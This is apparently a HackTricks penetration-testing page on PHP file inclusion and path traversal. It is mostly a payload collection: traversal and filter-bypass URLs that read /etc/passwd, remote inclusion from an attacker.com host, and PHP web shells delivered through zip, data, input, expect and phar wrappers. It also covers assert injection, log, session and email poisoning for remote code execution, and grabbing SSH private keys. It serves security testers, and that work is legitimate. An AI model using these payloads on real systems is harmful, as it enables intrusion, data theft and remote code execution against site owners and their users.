hacktricks/pentesting-web/file-inclusion/README.md

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File Inclusion/Path traversal

File Inclusion

Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include).
Local File Inclusion (LFI): The sever loads a local file.

The vulnerability occurs when the user can control in some way the file that is going to be load by the server.

Vulnerable PHP functions: require, require_once, include, include_once

A interesting tool to exploit this vulnerability: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Mixing several *nix LFI lists and adding more paths I have created this one:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Try also to change / for \
Try also to add ../../../../../

A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here

Windows

Merging several lists I have created:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Try also to change / for \
Try also to remove C:/ and add ../../../../../

A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here

OS X

Check the LFI list of linux.

Basic LFI and bypasses

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences stripped non-recursively

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass the append more chars at the end of the provided string (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

This is solved since PHP 5.4

Encoding

You could use non-standard encondings like double URL encode (and others):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

From existent folder

Maybe the back-end is checking the folder path:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Path truncation

Bypass the append of more chars at the end of the provided string (bypass of: $_GET['param']."php")

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Always try to start the path with a fake directory (a/).

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd

Basic RFI

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Top 25 parameters

Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers

Wrapper php://filter

Base64 and rot13

The part "php://filter" is case insensitive

http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

zlib (compression)

Can be chained with a compression wrapper for large files.

http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

To read the comppression data you need to decode the base64 and read the resulting data using:

php -a #Starts a php console
readfile('php://filter/zlib.inflate/resource=test.deflated');

NOTE: Wrappers can be chained

Wrapper zip://

Upload a Zip file with a PHPShell inside and access it.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

Wrapper data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Note that this protocol is restricted by php configurations allow_url_open and allow_url_include

Wrapper expect://

Expect has to be activated. You can execute code using this.

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

Wrapper input://

Specify your payload in the POST parameters

http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>

Wrapper phar://

A .phar file can be also used to execute PHP code if the web is using some function like include to load the file.

{% code title="create_phar.php" %}

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');

$phar->stopBuffering();

{% endcode %}

And you can compile the phar executing the following line:

php --define phar.readonly=0 create_path.php

A file called test.phar will be generated that you can use to abuse the LFI.

If the LFI is just reading the file and not executing the php code inside of it, for example using functions like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). You can try to abuse a deserialization occurring when reading a file using the phar protocol.
For more information read the following post:

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

More protocols

Check more possible protocols to include here.

LFI via PHP's 'assert'

If you encounter a difficult LFI that appears to be filtering traversal strings such as ".." and responding with something along the lines of "Hacking attempt" or "Nice try!", an 'assert' injection payload may work.

A payload like this:

' and die(show_source('/etc/passwd')) or '

will successfully exploit PHP code for a "file" parameter that looks like this:

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

It's also possible to get RCE in a vulnerable "assert" statement using the system() function:

' and die(system("whoami")) or '

Be sure to URL-encode payloads before you send them.

LFI2RCE

Basic RFI

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Via Apache log file

If the Apache server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and execute code using the "c" GET parameter.

Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.

This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Other possible log paths:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via Email

Send a mail to a internal account (user@localhost) containing <?php echo system($_REQUEST["cmd"]); ?> and access to the mail /var/mail/USER&cmd=whoami

Via /proc/*/fd/*

1. Upload a lot of shells (for example : 100)
2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

Via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf

Via Zip fie upload

Upload a ZIP file containing a PHP shell compressed and access:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

Check if the website use PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP these sessions are stored into /var/lib/php5/sess\[PHPSESSID]_ files

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Set the cookie to <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Use the LFI to include the PHP session file

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa

Via vsftpd logs

The logs of this FTP server are stored in /var/log/vsftpd.log. If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.

Via Nginx temp file storage

If you found a Local File Inclusion and Nginx is running in front of PHP you might be able to obtain RCE with the following technique:

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Via PHP_SESSION_UPLOAD_PROGRESS

If you found a Local File Inclusion even if you don't have a session and session.auto_start is Off. If you provide the PHP_SESSION_UPLOAD_PROGRESS in multipart POST data, PHP will enable the session for you. You could abuse this to get RCE:

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Via temp file uploads in Windows

If you found a Local File Inclusion and and the server is running in Windows you might get RCE:

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Via phpinfo() (file_uploads = on)

If you found a Local File Inclusion and a file exposing phpinfo() with file_uploads = on you can get RCE:

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

If you found a Local File Inclusion and you can exfiltrate the path of the temp file BUT the server is checking if the file to be included has PHP marks, you can try to bypass that check with this Race Condition:

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

References

PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

Support HackTricks and get benefits!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

Discover The PEASS Family, our collection of exclusive NFTs

Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

Share your hacking tricks submitting PRs to the hacktricks github repo.